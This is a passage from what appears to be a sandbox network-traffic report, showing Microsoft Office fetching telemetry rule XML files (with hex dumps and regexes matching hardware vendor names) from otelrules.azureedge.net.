DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.9	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:51 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:51 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d9470d89-501e-0047-17f3-3ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091951Z-185f5d8b95cmd8vfhC1NYC0g4000000005u000000000ftga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:51 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.9	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:51 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:51 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091951Z-185f5d8b95c96jn4hC1NYCbgp80000000a1g000000006sus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:51 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.9	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:53 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:54 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091954Z-r1d97b9957789g82hC1TEBstx000000008kg000000009qvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:54 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.9	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:53 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091954Z-185f5d8b95crwqd8hC1NYCps680000000a2g000000003gk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.9	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:54 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:54 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e563634e-601e-000d-3bed-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091954Z-185f5d8b95ctl8xlhC1NYCn94g0000000a40000000006txh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:54 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.9	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:54 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:54 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091954Z-r1d97b99577ckpmjhC1TEBrzs000000008sg0000000030qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:54 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.9	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:54 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:54 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091954Z-185f5d8b95c4bhwphC1NYCs8gw0000000a3g00000000cc3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:54 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.9	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:57 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091957Z-185f5d8b95ctl8xlhC1NYCn94g0000000a2000000000bhmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.9	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:57 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091957Z-185f5d8b95cjbkr4hC1NYCeu2400000009yg000000002dp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.9	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:57 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091957Z-1777c6cb7549x5qchC1TEBggbg00000009h0000000002g44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.9	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:57 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:57 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: d278da68-d01e-002b-0c18-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091957Z-r1d97b99577brct2hC1TEBambg00000002c0000000005t0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:19:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.9	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:57 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091957Z-185f5d8b95c95vpshC1NYC759c0000000a10000000007z3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 